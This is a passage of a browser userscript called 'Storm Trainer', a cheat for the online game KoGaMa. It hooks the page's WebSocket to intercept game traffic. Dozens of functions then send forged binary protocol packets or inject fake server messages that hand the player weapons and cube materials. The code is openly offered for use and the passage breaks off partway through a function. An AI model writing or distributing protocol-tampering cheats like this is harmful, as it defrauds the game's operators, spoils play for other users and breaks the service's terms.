Storm Trainer

new cheat by storm

// @name made in china
// @versoin 1.1
// @description new cheat by mostafa6661
// @author destroying
// @author       StormPVP
// @match        https://kogama.com.br/page/webgl-frame/
// @match        https://www.kogama.com/page/webgl-frame/
// @match        https://friends.kogama.com/page/webgl-frame/
// @namespace https://greasyfork.org/users/982540
// ==/UserScript==

/*sniffers*/
WS_Original = WebSocket;
WebSocket = function(url, type){
	let ws = new WS_Original(url, type);
	kcc.ws = ws;

	ws._send = ws.send;
	ws.send = kcc.injectClient;
	kcc.logClient('Attention!!! Be careful when using codes from others! Attackers can gain access to your account.');
	function waitServer(e){
		kcc.injectServer(e);
		if(!this.editServer){
			this.removeEventListener('message', waitServer);
			this._msg = this.onmessage;
			this.onmessage = kcc.injectServer;
		}
		kcc.consoleServer('Console by Masterix.');
	}
	ws.addEventListener('message', waitServer);

	return ws;
};

/*Utils*/
Uint8Array.prototype.equals=
Array.prototype.equals=function(array){
	if(!(array&&this.length==array.length))return false;
	for(var i=0,l=this.length;i<l;i++){
		if(this[i] instanceof Array&&array[i] instanceof Array){
				if(!this[i].equals(array[i]))return false;
		}else if(this[i]!=array[i]){return false;}
	}
	return true;
}
Object.defineProperty(window.Uint8Array.prototype,"equals",{enumerable:false});
Object.defineProperty(window.Array.prototype,"equals",{enumerable:false});
decode=d=>new TextDecoder().decode(d);
encode=d=>new TextEncoder().encode(d);
top.toByte16=toByte16=num=>new Uint8Array(new Uint16Array([num]).buffer).reverse();
top.toNum16Sign=toNum16Sign=nums=>new Int16Array(new Uint8Array(nums).reverse().buffer)[0];
top.toNum16=toNum16=nums=>new Uint16Array(new Uint8Array(nums).reverse().buffer)[0];
top.unsign16=unsign16=num=>new Uint16Array([num])[0];
top.toByte32=toByte32=num=>new Uint8Array(num?new Uint32Array([num]).buffer:[]).reverse();
top.toNum32=toNum32=nums=>new Uint32Array(nums?new Uint8Array(nums).reverse().buffer:0)[0];
getJSON=str=>{
	let pos=0,left=0,i=0,arr=[];
	while(i++<str.length){
		if(str[i]=='{'&&str[i+1]=='"'){
			if(!left)pos=i;
			left++;
		}
		if(str[i]=='}'){
			if(left>0){
				left--;
				if(!left)arr.push(str.slice(pos,i+1));
			}
		}
	}
	return arr.map(a=>JSON.parse(a));
}
top.format=format=str=>{//ff0011->[255,0,17]
	let rez=[];
	let n=0;
	for(let i=0;i<str.length;i++){
		rez.push(str[i]);
		if((i+2-n)%3==0){n+=2;rez.push(" ");}
	}
	rez.pop();
	return new Uint8Array(rez.join('').split(' ').map(n=>parseInt(n,16)))
};

/*Cheat Console*/
{
	window.html=top.html=id=>top.document.getElementById(id);
	window.make=top.make=tag=>top.document.createElement(tag);
    window.kc=top.kc={darkgreen:'#04B404',darkred:'#B40404',darkblue:'#0431B4',darkyellow:'#AEB404',purple:'#7410EE',white:'#FFFFFF',black:'#000000',orange:'#DF7401',red:'#FF0000',turquoise:'#01A9DB',catecolor:'#FF0000',

//__________________________________________________________________________________GUNS__________________________________________________________________________________//
        cubegun:()=>{
			kcc.ws._send(new Uint8Array([
				243,2,25,0,2,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,20
			]));
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,20,254,105,0,0,0,0
			]).buffer});
		},
        impulsegun:()=>{
            kcc.ws._msg({data:new Uint8Array([
                243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,2,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,2,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,9,97,110,105,109,97,116,105,111,110,68,0,0,0,2,115,0,5,115,116,97,116,101,115,0,4,73,100,108,101,115,0,9,116,105,109,101,83,116,97,109,112,105,70,131,252,232,254,105,0,0,0,0
            ]).buffer});
        },
        mousegun:()=>{
			kcc.ws._msg({data:new Uint8Array([
                243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,60,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
			]).buffer});
		},
        bazooka:()=>{
            kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,4,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
			]).buffer});
		},
        bazooka2:()=>{
        kcc.ws._msg({data:new Uint8Array([
        243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,4,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,5,254,105,0,0,0,0
            ]).buffer});
        },
                      healgun:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,70,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      shotgun:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,9,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      centralgun:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,1,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      railgun:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,6,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      sword:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,8,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      growthgun:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,2,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,62,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,9,97,110,105,109,97,116,105,111,110,68,0,0,0,2,115,0,5,115,116,97,116,101,115,0,4,73,100,108,101,115,0,9,116,105,109,101,83,116,97,109,112,105,80,15,108,52,254,105,0,0,0,0
						  ]).buffer});
					  },
                      pistol:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,12,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      pistol2x:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,13,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      flamethrower:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,10,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      shuriken:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,45,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      shuriken5x:()=>{
						  kcc.ws._msg({data:new Uint8Array([
							  243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,46,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0
						  ]).buffer});
					  },
                      slapgun:()=>{kcc.ws._msg({data:new Uint8Array([243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,3,115,0,4,116,121,112,101,105,0,0,0,65,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,254,105,0,0,0,0]).buffer});
        },
                      autofire:()=>{
			              kcc.ws._msg({data:new Uint8Array([
			                 243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,8,105,115,70,105,114,105,110,103,111,1,254,105,0,0,0,0
			              ]).buffer});
		             },
//__________________________________________________________________________________CUBE COLORS__________________________________________________________________________________//
                      ice:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,25,254,105,0,0,0,0
			]).buffer});
		},
        darkice:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,43,254,105,0,0,0,0
			]).buffer});
		},
        poison:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,28,254,105,0,0,0,0
			]).buffer});
		},
        wood:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,31,254,105,0,0,0,0
			]).buffer});
		},
        darkwood:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,53,254,105,0,0,0,0
			]).buffer});
		},
        lava:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,26,254,105,0,0,0,0
			]).buffer});
		},
        bounce:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,27,254,105,0,0,0,0
			]).buffer});
		},
        superbounce:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,54,254,105,0,0,0,0
			]).buffer});
		},
        stripedcement:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,60,254,105,0,0,0,0
			]).buffer});
		},
        machinery:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,61,254,105,0,0,0,0
			]).buffer});
		},
        embossedmetal:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,62,254,105,0,0,0,0
			]).buffer});
		},
        scrolling:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,63,254,105,0,0,0,0
			]).buffer});
		},
        blockred:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,2,254,105,0,0,0,0
			]).buffer});
		},
        blockblue:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,7,254,105,0,0,0,0
			]).buffer});
		},
        blockgreen:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,12,254,105,0,0,0,0
			]).buffer});
		},
        blockyellow:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,16,254,105,0,0,0,0
			]).buffer});
		},
        blockblack:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,23,254,105,0,0,0,0
			]).buffer});
		},
                      blockgrey:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,22,254,105,0,0,0,0
			]).buffer});
		},
                      pink:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,44,254,105,0,0,0,0
			]).buffer});
		},
                      camouflage:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,34,254,105,0,0,0,0
			]).buffer});
		},
                      zigzag:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,39,254,105,0,0,0,0
			]).buffer});
		},
        cloud:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,55,254,105,0,0,0,0
			]).buffer});
		},
        parkour:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,29,254,105,0,0,0,0
			]).buffer});
		},
                      stonebricks:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,48,254,105,0,0,0,0
			]).buffer});
		},
        stonebricks2:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,32,254,105,0,0,0,0
			]).buffer});
		},
                      redbrick:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,37,254,105,0,0,0,0
			]).buffer});
		},
        yellowbrick:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,38,254,105,0,0,0,0
			]).buffer});
		},
                      slime:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,51,254,105,0,0,0,0
			]).buffer});
		},
                      mushroom:()=>{
			kcc.ws._msg({data:new Uint8Array([
				243,4,29,0,3,22,105,...toByte32(kcc.self),70,68,0,0,0,1,115,0,11,99,117,114,114,101,110,116,73,116,101,109,68,0,0,0,4,115,0,4,116,121,112,101,105,0,0,0,11,115,0,9,118,97,114,105,97,110,116,73,100,105,0,0,0,0,115,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,105,0,0,0,4,115,0,8,105,116,101,109,68,97,116,97,68,0,0,0,1,115,0,8,109,97,116,101,114,105,97,108,98,42,254,105,0,0,0,0
			]).buffer});
		},
        greenmushroom:()=>{
			kcc.ws._msg({data:new Uint8Array([
